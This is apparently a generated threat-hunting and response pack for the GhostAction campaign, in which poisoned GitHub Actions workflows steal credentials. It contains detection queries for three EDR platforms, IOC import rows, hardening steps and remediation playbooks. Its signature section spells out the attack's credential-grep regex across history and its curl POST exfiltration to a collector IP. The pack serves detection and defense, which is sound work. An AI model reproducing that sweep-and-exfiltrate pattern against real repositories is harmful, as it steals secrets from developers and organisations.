- PowerQuery: A workflow file edited through an editor that never names the file on a command line is not captured.
- PowerQuery assumes: src.process.user holds the account that ran the creator process.
- KQL – Defender XDR: A workflow file edited through an editor that never names the file on a command line is not captured.
- KQL – Defender XDR assumes: ProcessCommandLine is populated on Linux and Windows sensors.
// HUNT: poisoned workflow file name handled on an endpoint // MITRE: T1036.005, T1195.002 // CONF: medium FP: medium COST: low | REQUIRES: process creation with command line (CrowdStrike: ProcessRollup2) // TUNING: exclude repositories you own that legitimately ship a security-audit.yml, e.g. | CommandLine!=/internal-repo-name/i // TUNING: a hit alone proves nothing; open the file and look for the collector IP or the AKIA_CTX_START marker // LOOKBACK: 14d #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | CommandLine=/(security-audit|github_actions_security)\.yml/i | table([@timestamp, aid, ComputerName, UserName, FileName, ParentBaseFileName, CommandLine]) | sort(@timestamp, order=desc, limit=500)
2 required fields · View requirements
Required telemetry
- Process Creation
Required fields
event.type: Event typetgt.process.cmdline: Created command line
Recommended fields
tgt.process.name: Created process namesrc.process.name: Creator processsrc.process.user: Account
Readiness test
event.type = 'Process Creation' tgt.process.cmdline = * | limit 5 | columns event.time, event.type, tgt.process.cmdline
// HUNT: poisoned workflow file name handled on an endpoint // SCHEMA PROFILE: sentinelone-endpoint-ocsf // MITRE: T1036.005, T1195.002 // CONF: medium | FP: medium // EQUIVALENCE: equivalent-with-schema-assumptions - Same process-creation predicate: any process whose command line names one of the two poisoned workflow files. contains is case-insensitive, which reproduces the CQL /i intent. // REQUIRES: SentinelOne Deep Visibility process creation telemetry with command line // TUNING: Exclude repositories you own that legitimately ship a security-audit.yml. A hit alone proves nothing; open the file and look for the collector IP or the AKIA_CTX_START marker. // LOOKBACK: 14d // CONFIGURATION: No lookup objects required. // KNOWN GAPS: A workflow file edited through an editor that never names the file on a command line is not captured. // VALIDATION LEVEL: static-reviewed event.type = 'Process Creation' (tgt.process.cmdline contains 'security-audit.yml' or tgt.process.cmdline contains 'github_actions_security.yml') | columns event.time, endpoint.name, src.process.user, tgt.process.name, src.process.name, tgt.process.cmdline | sort -event.time | limit 500
Automated validation: static-passed
2 required fields · View requirements
Required telemetry
- DeviceProcessEvents
Required fields
Timestamp: Event timeProcessCommandLine: Created command line
Recommended fields
FileName: Created process nameInitiatingProcessFileName: Parent process
Fallbacks
DeviceName→DeviceId: Changes the displayed host identifier only.
Readiness test
DeviceProcessEvents | where Timestamp > ago(1d) | project Timestamp, ProcessCommandLine | take 5
// HUNT: poisoned workflow file name handled on an endpoint // SCHEMA PROFILE: microsoft-defender-xdr // MITRE: T1036.005, T1195.002 // CONF: medium | FP: medium // EQUIVALENCE: equivalent-with-schema-assumptions - Same process-creation predicate: any process whose command line names one of the two poisoned workflow files. contains is case-insensitive, which reproduces the CQL /i intent. // REQUIRES: Defender for Endpoint process-creation telemetry (DeviceProcessEvents) // TUNING: Exclude repositories you own that legitimately ship a security-audit.yml. A hit alone proves nothing; open the file and look for the collector IP or the AKIA_CTX_START marker. // LOOKBACK: 14d // CONFIGURATION: No lookup objects required. // KNOWN GAPS: A workflow file edited through an editor that never names the file on a command line is not captured. // VALIDATION LEVEL: schema-aligned // AUTOMATED VALIDATION: static-passed; static=passed; fixtures=0/0 DeviceProcessEvents | where Timestamp >= ago(14d) | where ProcessCommandLine contains "security-audit.yml" or ProcessCommandLine contains "github_actions_security.yml" | project Timestamp, ReportId, DeviceId, DeviceName, AccountName, FileName, InitiatingProcessFileName, ProcessCommandLine | sort by Timestamp desc | take 500
Looks for: Behavioral net for the next collector address. The payload sends plain HTTP to a bare IP, so curl connections to public IPv4 on port 80 from a runner host are rare and worth ranking. Run it only against the hosts from Q5.
FP: Medium. Package mirrors, cloud metadata proxies and legacy downloads use HTTP. Allowlist known mirrors and review what remains.
Known limitations and deployment notes
- PowerQuery: IPv6 destinations are not evaluated; the CQL covers IPv4 only.
- PowerQuery assumes: dst.port.number is numeric on IP Connect events; not tenant-tested.
- KQL – Defender XDR: IPv6 destinations are not evaluated; the CQL covers IPv4 only.
- KQL – Defender XDR assumes: RemotePort is numeric and RemoteIP is populated for outbound connections.
// HUNT: curl HTTP egress to public IPv4 (new-collector net, run on runner hosts) // MITRE: T1048.003 // CONF: low FP: medium COST: medium | REQUIRES: network connection telemetry (CrowdStrike: NetworkConnectIP4) // TUNING: scope to the aid values returned by Q5, and exclude your package mirror ranges with another !cidr() stage // TUNING: a destination seen on many runners over weeks is infrastructure; one seen on one runner once is the lead // LOOKBACK: 14d #event_simpleName=NetworkConnectIP4 | ContextBaseFileName=/^curl(\.exe)?$/i | RemotePort=80 | !cidr(RemoteAddressIP4, subnet=["10.0.0.0/8","172.16.0.0/12","192.168.0.0/16","127.0.0.0/8","169.254.0.0/16"]) | groupBy([aid, ComputerName, RemoteAddressIP4], function=count(as=Conns), limit=1000) | sort(Conns, order=desc, limit=200)
5 required fields · View requirements
Required telemetry
- IP Connect
Required fields
event.type: Event typesrc.process.name: Connecting process namedst.port.number: Destination portdst.ip.address: Destination addressagent.uuid: Agent identifier
Recommended fields
endpoint.name: Hostname
Readiness test
event.type = 'IP Connect' dst.port.number = * | limit 5 | columns event.time, event.type, src.process.name, dst.port.number, dst.ip.address, agent.uuid
// HUNT: curl HTTP egress to public IPv4 (new-collector net, run on runner hosts)
// SCHEMA PROFILE: sentinelone-endpoint-ocsf
// MITRE: T1048.003
// CONF: low | FP: medium
// EQUIVALENCE: equivalent-with-schema-assumptions - Same predicate: curl connecting to port 80 on an address outside the five private and local ranges, counted per host and destination. The connecting process is src.process.* because this is not a Process Creation event.
// REQUIRES: SentinelOne Deep Visibility network connection telemetry (IP Connect)
// TUNING: Scope to the hosts returned by the runner inventory card and exclude your package mirror ranges with another net_ipsubnet exclusion. A destination seen on many runners over weeks is infrastructure; one seen on one runner once is the lead.
// LOOKBACK: 14d
// CONFIGURATION: No lookup objects required.
// KNOWN GAPS: IPv6 destinations are not evaluated; the CQL covers IPv4 only.
// VALIDATION LEVEL: static-reviewed
event.type = 'IP Connect' src.process.name in:anycase ('curl', 'curl.exe') dst.port.number = 80
!(net_ipsubnet(dst.ip.address, '10.0.0.0/8'))
!(net_ipsubnet(dst.ip.address, '172.16.0.0/12'))
!(net_ipsubnet(dst.ip.address, '192.168.0.0/16'))
!(net_ipsubnet(dst.ip.address, '127.0.0.0/8'))
!(net_ipsubnet(dst.ip.address, '169.254.0.0/16'))
| group connections = count() by agent.uuid, endpoint.name, dst.ip.address
| sort -connections
| limit 200Automated validation: static-passed
5 required fields · View requirements
Required telemetry
- DeviceNetworkEvents
Required fields
Timestamp: Event timeInitiatingProcessFileName: Connecting process nameRemotePort: Remote portRemoteIP: Remote addressDeviceId: Device identifier
Recommended fields
DeviceName: Hostname
Fallbacks
DeviceName→DeviceId: Changes the displayed host identifier only.
Readiness test
DeviceNetworkEvents | where Timestamp > ago(1d) | project Timestamp, InitiatingProcessFileName, RemotePort, RemoteIP, DeviceId | take 5
// HUNT: curl HTTP egress to public IPv4 (new-collector net, run on runner hosts)
// SCHEMA PROFILE: microsoft-defender-xdr
// MITRE: T1048.003
// CONF: low | FP: medium
// EQUIVALENCE: equivalent-with-schema-assumptions - Same predicate: curl connecting to port 80 on an address outside the five private and local ranges, counted per host and destination. The connecting process is InitiatingProcessFileName.
// REQUIRES: Defender for Endpoint network telemetry (DeviceNetworkEvents)
// TUNING: Scope to the hosts returned by the runner inventory card and exclude your package mirror ranges with another ipv4_is_in_range exclusion. A destination seen on many runners over weeks is infrastructure; one seen on one runner once is the lead.
// LOOKBACK: 14d
// CONFIGURATION: No lookup objects required.
// KNOWN GAPS: IPv6 destinations are not evaluated; the CQL covers IPv4 only.
// VALIDATION LEVEL: schema-aligned
// AUTOMATED VALIDATION: static-passed; static=passed-with-warnings; fixtures=0/0
DeviceNetworkEvents
| where Timestamp >= ago(14d)
| where InitiatingProcessFileName in~ ("curl", "curl.exe")
| where RemotePort == 80
| where not(ipv4_is_in_range(RemoteIP, "10.0.0.0/8") or ipv4_is_in_range(RemoteIP, "172.16.0.0/12") or ipv4_is_in_range(RemoteIP, "192.168.0.0/16") or ipv4_is_in_range(RemoteIP, "127.0.0.0/8") or ipv4_is_in_range(RemoteIP, "169.254.0.0/16"))
| summarize Conns = count() by DeviceId, DeviceName, RemoteIP
| sort by Conns desc
| take 200Looks for: Post-theft signal. Anthropic, OpenAI and OpenRouter keys are targeted, so stolen keys will be used from hosts and processes that never called those APIs before. This ranks processes by how few hosts use them. It cannot see keys used from hosts without a sensor; pair it with provider usage logs (section 7).
FP: High. Developer tools and IDE plugins call these APIs legitimately. Baseline first and review only the long tail.
Known limitations and deployment notes
- PowerQuery: If the tenant populates dns.request rather than event.dns.request, this returns zero rows; run the readiness test first.
- PowerQuery assumes: event.dns.request is the populated DNS name field on this tenant; the vendor docs name dns.request instead.
- PowerQuery assumes: estimate_distinct is an approximate count of hosts.
- KQL – Defender XDR: DNS visibility depends on the sensor emitting DnsQueryResponse events; a tenant without them returns zero rows.
- KQL – Defender XDR assumes: The DNS name sits under DnsQueryString or QueryName in AdditionalFields; the readiness test shows which key the tenant populates.
- KQL – Defender XDR assumes: DnsQueryResponse events carry an initiating process; not tenant-tested.
// HUNT: AI provider API lookups ranked by rarity of process and host // MITRE: T1078.004, T1552.001 // CONF: low FP: high COST: medium | REQUIRES: DNS request telemetry (CrowdStrike: DnsRequest) // TUNING: exclude sanctioned clients, e.g. | ContextBaseFileName!=/^(code|cursor|claude|python3?)(\.exe)?$/i after you confirm they are expected // TUNING: review rows where Hosts=1 first; a server or runner that never called these APIs before is the lead // LOOKBACK: 30d #event_simpleName=DnsRequest | DomainName=/^(api\.anthropic\.com|api\.openai\.com|openrouter\.ai)$/i | groupBy([ContextBaseFileName], function=[count(as=Lookups), count(aid, distinct=true, as=Hosts)], limit=500) | sort(Hosts, order=asc, limit=100)
4 required fields · View requirements
Required telemetry
- DNS Resolved
Required fields
event.type: Event typeevent.dns.request: DNS namesrc.process.name: Requesting process nameagent.uuid: Agent identifier
Fallbacks
event.dns.request→dns.request: Same value under the older field name.
Readiness test
event.type = 'DNS Resolved' event.dns.request = * | limit 5 | columns event.time, event.type, event.dns.request, src.process.name, agent.uuid
// HUNT: AI provider API lookups ranked by rarity of process and host
// SCHEMA PROFILE: sentinelone-endpoint-ocsf
// MITRE: T1078.004, T1552.001
// CONF: low | FP: high
// EQUIVALENCE: equivalent-with-schema-assumptions - Same predicate: DNS lookups of the three AI provider API names, counted per process with the number of distinct hosts. The name field is event.dns.request, the attested mapping, which the field model notes can differ from dns.request across schema versions.
// REQUIRES: SentinelOne Deep Visibility DNS telemetry (DNS Resolved)
// TUNING: Exclude sanctioned clients such as code, cursor, claude and python3 after you confirm they are expected. Review rows where hosts is 1 first; a server or runner that never called these APIs before is the lead.
// LOOKBACK: 30d
// CONFIGURATION: No lookup objects required.
// KNOWN GAPS: If the tenant populates dns.request rather than event.dns.request, this returns zero rows; run the readiness test first.
// VALIDATION LEVEL: static-reviewed
event.type = 'DNS Resolved' event.dns.request in:anycase ('api.anthropic.com', 'api.openai.com', 'openrouter.ai')
| group lookups = count(), hosts = estimate_distinct(agent.uuid) by src.process.name
| sort +hosts
| limit 100Automated validation: static-passed
5 required fields · View requirements
Required telemetry
- DeviceEvents
Required fields
Timestamp: Event timeActionType: Action typeAdditionalFields: DNS detailsInitiatingProcessFileName: Requesting process nameDeviceId: Device identifier
Fallbacks
DeviceName→DeviceId: Changes the displayed host identifier only.
Readiness test
DeviceEvents | where Timestamp > ago(1d) | where ActionType == "DnsQueryResponse" | project Timestamp, ActionType, AdditionalFields, InitiatingProcessFileName, DeviceId | take 5
// HUNT: AI provider API lookups ranked by rarity of process and host
// SCHEMA PROFILE: microsoft-defender-xdr
// MITRE: T1078.004, T1552.001
// CONF: low | FP: high
// EQUIVALENCE: equivalent-with-schema-assumptions - Same predicate: DNS lookups of the three AI provider API names, counted per initiating process with the number of distinct hosts. Endpoint DNS is read from DeviceEvents DnsQueryResponse, with the name taken from AdditionalFields.
// REQUIRES: Defender for Endpoint network inspection DNS events (DeviceEvents, ActionType DnsQueryResponse)
// TUNING: Exclude sanctioned clients such as code, cursor, claude and python3 after you confirm they are expected. Review rows where Hosts is 1 first; a server or runner that never called these APIs before is the lead.
// LOOKBACK: 30d
// CONFIGURATION: No lookup objects required.
// KNOWN GAPS: DNS visibility depends on the sensor emitting DnsQueryResponse events; a tenant without them returns zero rows.
// VALIDATION LEVEL: schema-aligned
// AUTOMATED VALIDATION: static-passed; static=passed-with-warnings; fixtures=0/0
DeviceEvents
| where Timestamp >= ago(30d)
| where ActionType == "DnsQueryResponse"
| extend QueryName = tostring(coalesce(parse_json(AdditionalFields)["DnsQueryString"], parse_json(AdditionalFields)["QueryName"]))
| where QueryName in~ ("api.anthropic.com", "api.openai.com", "openrouter.ai")
| summarize Lookups = count(), Hosts = dcount(DeviceId) by InitiatingProcessFileName
| sort by Hosts asc
| take 100Detection Rules by Platform
CrowdStrike: Custom IOA
| IOA name | Promotes | Pattern | Exclusions | Deployment path |
|---|---|---|---|---|
| GhostAction collector connection | Promote Q1 | Network connection, remote address 193.32.204.199, any process. Also import the IP as a Custom IOC (section 10). | None needed | Detect then prevent. Attacker-controlled value, two independent sources. |
| curl to GhostAction collector URL | Promote Q2 | Process creation, image name matching curl, command line matching the collector IP or ?c=monami | None needed | Detect only. curl itself is a stock binary and is never marked prevent. |
| Multi-vendor credential grep sweep | Promote Q4 | Process creation, image grep or rg, command line containing the AKIA pattern plus another vendor prefix | Approved internal scanners that call grep this way | Detect only; promote after a 14-day benign baseline. |
Q3, Q5, Q6, Q7 and Q8 stay investigate-only: they are scoping or lead-generation queries with medium or higher FP risk.
SentinelOne: custom detection rules
| Rule | Source query | Run as | Notes |
|---|---|---|---|
| GhostAction collector connection | Q1, PowerQuery tab | Scheduled custom detection rule | Bind entities so the alert names the host instead of "Unknown Device" |
| curl to GhostAction collector URL | Q2, PowerQuery tab | Scheduled custom detection rule | Bind entities so the alert names the host instead of "Unknown Device" |
| Multi-vendor credential grep sweep | Q4, PowerQuery tab | Scheduled custom detection rule | Bind entities so the alert names the host instead of "Unknown Device". This pack's own text mentions a baseline or pilot; follow it as written |
Create the rule with POST /web/api/v2.1/cloud-detection/rules, queryType: "scheduled" and queryLang: "2.0", with the query in data.scheduledParams.query. Use 2.0 operator spellings: a rule written with the 1.0 token ContainsCIS was accepted and never fired on a tenant. The API does not warn, so lint the body before deploying.
Microsoft Defender: custom detection rules
| Rule | Source query | Run as | Notes |
|---|---|---|---|
| GhostAction collector connection | Q1, KQL – Defender XDR tab | Custom detection rule, alert only, every hour | The query returns Timestamp, ReportId and DeviceId, which Microsoft recommends for Defender for Endpoint tables so alerts carry the device group scope and the process tree. Remove the Timestamp filter and the final sort and take before saving the rule: the service applies the rule's lookback itself |
| curl to GhostAction collector URL | Q2, KQL – Defender XDR tab | Custom detection rule, alert only, every hour | The query returns Timestamp, ReportId and DeviceId, which Microsoft recommends for Defender for Endpoint tables so alerts carry the device group scope and the process tree. Remove the Timestamp filter and the final sort and take before saving the rule: the service applies the rule's lookback itself |
| Multi-vendor credential grep sweep | Q4, KQL – Defender XDR tab | Custom detection rule, alert only, every hour | The query returns Timestamp, ReportId and DeviceId, which Microsoft recommends for Defender for Endpoint tables so alerts carry the device group scope and the process tree. Remove the Timestamp filter and the final sort and take before saving the rule: the service applies the rule's lookback itself. This pack's own text mentions a baseline or pilot; follow it as written |
Q3, Q5, Q6, Q7 and Q8 stay a hunt in this pack, not a rule. A rule can generate only 150 alerts per run. Continuous (NRT) frequency needs a single table and no comment lines, so delete the generated comment header from the query first.
Machine-Readable IOC Appendix
type,value,action,severity,expiration,description,tags ipv4,193.32.204.199,prevent,high,2027-04-13,GhostAction credential exfiltration collector (plain HTTP),campaign:GhostAction # Workflow paths, commit messages and body markers have no Falcon IOC type. See Behavioral Signatures.
indicatorType,indicatorValue,action,title,description,expirationTime,severity,recommendedActions,rbacGroups,category,mitretechniques,GenerateAlert IpAddress,193.32.204.199,Block,GhostAction credential exfiltration collector,GhostAction credential exfiltration collector (plain HTTP),2027-04-13T00:00:00.0Z,High,Investigate the device and pivot into the pack's queries,,,,True
Column names and allowed values are from Microsoft's documented parameter table. Prevent rows import as Block, without remediation; network indicators cannot use BlockAndRemediate. Check each expirationTime before importing: an indicator whose date has passed is already expired. Download the sample CSV from the Import page to confirm the column order before a bulk import. Each file takes at most 500 indicators. Learn describes the import per entity type, so if a mixed file is rejected, split it by indicatorType. An imported indicator does nothing unless the matching Advanced features are on (for example Custom network indicators and Allow or block file).
This pack does not ship a SentinelOne import block: the import format could not be verified against SentinelOne's own documentation. Export a sample from your console and the block can be added with confidence.
Workflow triggers: workflow_dispatch + push with no branch or path filter
Checkout: actions/checkout with fetch-depth: 0
Step: single "Audit" step in job "audit" (variant "Github Actions Security": job send-secrets, step Prepare Cache Busting)
Process: git log -p --all, then grep -rEiho with AKIA[0-9A-Z]{16}|ASIA[0-9A-Z]{16}|sk-ant-|sk-proj-|sk-or-|ghp_|github_pat_|glpat-|AIza|xox[baprs]-|SG.
Exfil: curl -s -m 20 -X POST --data-binary to http://193.32.204.199/?c=monami (or ?c=new)
Body: starts REPO=owner/name ... AKIA_CTX_START ... AKIA_CTX_END
Commit: single-file add under .github/workflows by a maintainer identity, unsigned, direct to default branch
.github/workflows/security-audit.yml .github/workflows/github_actions_security.yml Add security audit workflow Update security audit workflow Add Github Actions Security workflow REPO= AKIA_CTX_START AKIA_CTX_END kitao/pyxel commit 97670a55 accounts named in reporting: henrywoo, kitao
# github.com code search (replace YOUR-ORG) org:YOUR-ORG "AKIA_CTX_START" org:YOUR-ORG "c=monami" org:YOUR-ORG "193.32.204.199" # local clone: any branch, any history git log --all --name-only --format="%h %an %s" -- .github/workflows/security-audit.yml .github/workflows/github_actions_security.yml git log --all --format="%h %an %s" --grep="security audit workflow" --grep="Github Actions Security workflow" git grep -n -E "AKIA_CTX_START|193\.32\.204\.199|c=monami" $(git for-each-ref --format="%(refname)" refs/heads refs/remotes) -- .github/workflows
Detection Validation Gates
| Gate | Check |
|---|---|
| Telemetry ready | Sensor present on self-hosted runner hosts (confirm with Q5). Process creation with command line (CrowdStrike: ProcessRollup2. SentinelOne: Process Creation. Defender: DeviceProcessEvents) and outbound network connection (CrowdStrike: NetworkConnectIP4. SentinelOne: Network. Defender: DeviceNetworkEvents) flowing. GitHub-hosted runners are out of scope by design. |
| Benign baseline | Run Q3, Q6, Q7, Q8 for 14 days with no alerting. Record scanner accounts and mirrors for TUNING exclusions. |
| Positive tests | Q2: on a lab host, run curl against a lab-controlled URL, then temporarily edit the Q2 filter to that lab address and confirm it fires; never send traffic to the real collector or real secrets. Q4: run grep over an empty directory with the AKIA pattern plus sk-ant- and confirm the row appears. Q1: after the IOC import, a blocked-attempt test from a lab host with a firewall exception is optional and only with approval. |
| Promotion | Q1 and Q2 promote to IOA detect at once. Q4 after baseline. Prevent only for the IP IOC. |
Hardening: Tiered
GitHub platform controls below cite GitHub's own security hardening guidance and MITRE mitigations. No formal CIS benchmark is applied, so each is flagged best-practice, no formal benchmark. Several controls assume a paid GitHub plan; confirm availability before rollout.
- Remove the workflow and revoke the entry path. Delete
security-audit.ymlandgithub_actions_security.ymlfrom every branch, revoke the compromised account's PATs, OAuth grants, SSH keys and sessions, re-enroll phishing-resistant MFA. MITRE M1032, M1026. Verify: git commands in section 10. - Rotate by exposure, not by list. Rotate every Actions secret and every credential ever committed to any branch. Revoke rather than rotate leaked PATs. M1027. Verify: CloudTrail and provider logs show no use of old keys after rotation.
- Block the collector. Falcon IOC prevent, firewall and proxy deny for
193.32.204.199ports 80 and 3000, including runner subnets. M1037. Verify: Q1 returns only blocked-attempt rows. - Default token read-only. Set org default
GITHUB_TOKENpermissions to read. The athenadriver run used contents: read, which limited blast radius to stolen secrets. Best-practice, no formal benchmark.
- Protect workflow files. Require pull-request review with code-owner approval for
.github/workflows/**(CODEOWNERS plus branch protection or rulesets), and restrict who can bypass. Direct-to-default pushes with no review were the injection path. M1018. Best-practice, no formal benchmark. - Enable secret scanning with push protection on all repositories, and scan full history. Best-practice, no formal benchmark.
- Run-approval and runner policy. StepSecurity reported one repository whose approval requirement stalled re-triggered runs. Treat this as a useful extra layer, not a guarantee against a compromised writer. Restrict runner groups to named repositories.
- Ephemeral self-hosted runners with no persistent credentials on disk, on isolated networks. M1030. Verify with Q5 that runner hosts rebuild.
- Egress allowlist for runners. Default-deny outbound, allow only package registries and GitHub. A bare-IP HTTP POST fails closed. M1037. Verify: Q7 returns nothing new.
- Replace long-lived cloud keys with short-lived federation (OIDC trust from GitHub to cloud roles), so a history sweep finds nothing reusable. Credential-lifetime reduction, best-practice, no formal benchmark.
- Trusted publishing for PyPI, crates.io and npm instead of stored publish tokens.
- Enforce signed commits and alert on unsigned workflow-file changes by maintainers.
- History hygiene. Purge committed secrets, then rotate; deleting from HEAD is irrelevant to
git log -p --all.
Deployable Playbooks
Playbook 1: Find and remove the workflow (per repository)
Prerequisites: git, write access to the repository, repo admin to bypass branch protection if needed. Reboot required: no. 1. git fetch --all --prune 2. git log --all --name-only --format="%h %an %s" -- .github/workflows/security-audit.yml .github/workflows/github_actions_security.yml 3. For each branch that contains the file: git checkout BRANCH && git rm .github/workflows/security-audit.yml .github/workflows/github_actions_security.yml && git commit -m "Remove malicious workflow" && git push origin BRANCH Rollback: git revert the removal commit. Not advisable; only if the file was a confirmed legitimate workflow of the same name (check content first).
Playbook 2: Org default workflow token to read-only
Prerequisites: org owner, GitHub CLI authenticated (gh auth login), list of workflows that need write. Reboot required: no. 1. gh api -X PUT /orgs/YOUR-ORG/actions/permissions/workflow -f default_workflow_permissions=read -F can_approve_pull_request_reviews=false 2. Verify: gh api /orgs/YOUR-ORG/actions/permissions/workflow 3. Grant per-job write explicitly with a permissions: block where a workflow truly needs it. Rollback: gh api -X PUT /orgs/YOUR-ORG/actions/permissions/workflow -f default_workflow_permissions=write (Pilot in one repository first; releases and labeling workflows commonly rely on the old default.)
Playbook 3: Require review for workflow changes
Prerequisites: repo admin; CODEOWNERS file; branch protection or rulesets available on your plan. Reboot required: no. 1. Add to .github/CODEOWNERS: /.github/workflows/ @YOUR-ORG/security-reviewers 2. In repository Settings, Branches (or Rules), protect the default branch: require a pull request, require review from Code Owners, restrict bypass to a small admin team. 3. Verify: attempt a direct push of a test change under .github/workflows from a non-bypass account; it must be rejected. Rollback: remove the rule from Settings, Branches (or Rules) and revert the CODEOWNERS line. Release automation that pushes directly will need an explicit bypass actor first.
Playbook 4: Block the collector on a Linux self-hosted runner
Prerequisites: root on the runner host; runner is idle or drained. Reboot required: no (rules are not persistent across reboot unless saved). 1. iptables -I OUTPUT -d 193.32.204.199 -j REJECT 2. Verify: iptables -C OUTPUT -d 193.32.204.199 -j REJECT && echo present 3. Persist with your distribution's mechanism (for example netfilter-persistent save). Rollback: iptables -D OUTPUT -d 193.32.204.199 -j REJECT and re-save. No other traffic is affected; this is a single-destination rule.
Playbook 5: Check AWS use of a leaked key
Prerequisites: AWS CLI with CloudTrail read access; the exposed access key ID (REPLACE_WITH_ACCESS_KEY_ID). Reboot required: no. 1. aws cloudtrail lookup-events --lookup-attributes AttributeKey=AccessKeyId,AttributeValue=REPLACE_WITH_ACCESS_KEY_ID --max-results 50 2. Review source addresses, regions and calls such as CreateUser and CreateAccessKey. 3. Deactivate: aws iam update-access-key --access-key-id REPLACE_WITH_ACCESS_KEY_ID --user-name REPLACE_WITH_USER --status Inactive Rollback: aws iam update-access-key ... --status Active, only if the key is confirmed unexposed and a dependent service broke. Prefer issuing a new key.
Containment Runbook
| Phase | Actions | Owner | Evidence |
|---|---|---|---|
| Isolate | Disable the compromised GitHub account's tokens and sessions; disable Actions on affected repositories until the file is removed; network-contain any self-hosted runner that contacted the collector. | Platform / SecOps | Q1 and Q2 hits, run logs |
| Scope | Enumerate every repository the account can write to. Read line 15 of the injected file: a populated secret list means named Actions secrets were taken; an empty one means history sweep only. Treat both as present if unsure. | SecOps | Section 10 search output |
| Eradicate | Remove the workflow from all branches and forks you control; check forks before enabling Actions; revoke and rotate all named secrets and every credential found in history. | Repo owners | Git history clean, rotation tickets |
| Recover | Audit package registry releases since exposure; review cloud audit logs for each exposed key; re-enable Actions only with hardening from section 12 in place. | Platform / Cloud | Registry history, CloudTrail review |
| Lessons | Add secret push protection and workflow-file review; move cloud access to short-lived federation. | Engineering leadership | Policy changes |
Detection Coverage Map
| Technique | Behavior | CQL | IOA | CrowdStrike coverage | SentinelOne | Defender XDR |
|---|---|---|---|---|---|---|
| T1078 | Maintainer account takeover | None | None | GAP | GAP | GAP |
| T1059.004 | Workflow executes on a GitHub-hosted runner | None | None | GAP (no sensor on GitHub-hosted runners) | GAP | GAP |
| T1059.004 | Workflow executes on a self-hosted runner | Q5, Q2, Q3 | Q2 | Good | Good, with assumptions | Good, with assumptions |
| T1213.003 | Full-history patch dump | Q3 | None | Partial | Partial: same limit as CrowdStrike | Partial: same limit as CrowdStrike |
| T1552.001 | Credential regex sweep | Q4 | Q4 | Good | Good, with assumptions | Good, with assumptions |
| T1048.003 | HTTP exfiltration to collector | Q1, Q2, Q7 | Q1, Q2 | Good | Good, with assumptions | Good, with assumptions |
| T1036.005 | Poisoned workflow file arrives on a workstation | Q6 | None | Partial (file arrival not logged) | Partial: same limit as CrowdStrike | Partial: same limit as CrowdStrike |
| T1078.004 | Stolen AWS and AI keys reused | Q8 | None | Partial (sensored hosts only) | Partial: same limit as CrowdStrike | Partial: same limit as CrowdStrike |
Validation gates: telemetry ready on runner hosts, 14-day benign baseline for Q3, Q6, Q7, Q8, positive test for Q2 and Q4, then promotion as in section 11.
Hunt Summary Ticket
TITLE: GhostAction GitHub Actions credential theft hunt (October 2026 wave) SEVERITY: High (active, 500+ compromised accounts reported) SCOPE: self-hosted GitHub Actions runners, developer and CI workstations, any sensored host; GitHub org audit; cloud and AI key use HYPOTHESIS: A poisoned workflow executed on a self-hosted runner or reached a workstation, and credentials left over plain HTTP to 193.32.204.199 QUERIES: Q1 collector connection, Q2 curl to collector, Q3 git log -p --all, Q4 credential grep sweep, Q5 runner inventory, Q6 workflow filename, Q7 raw-IP HTTP, Q8 AI API rare process DO FIRST: GitHub code search for AKIA_CTX_START and both workflow paths; run Q5 then Q1 and Q2 on runner hosts FINDINGS: (fill in) GAPS: GitHub-hosted runner execution is outside endpoint telemetry; workflow file arrival on a workstation is not logged; key reuse from unsensored hosts is invisible here ACTIONS: remove workflow from all branches, revoke account tokens, rotate all named and historical secrets, block collector IP, apply section 12 controls OWNER: HuntPack VERSION: v0.1 2026-10-13
Changelog
References
| Tier | Source | Used for | Access date |
|---|---|---|---|
| Primary | Socket: New GhostAction Wave Hits Hundreds of Repos | Workflow text, patterns, IOC list, scale | 2026-10-13 |
| Primary | StepSecurity: GhostAction Returns | Independent analysis, run-log forensics, markers | 2026-10-13 |
| Secondary | The Hacker News: Credential-Stealing GitHub Actions Workflows | Summary, GitGuardian figures | 2026-10-13 |
| Secondary | Cloud Security Alliance research note | Runner egress guidance | 2026-10-13 |
Generated 2026-10-13 by HuntPack. Defensive content only.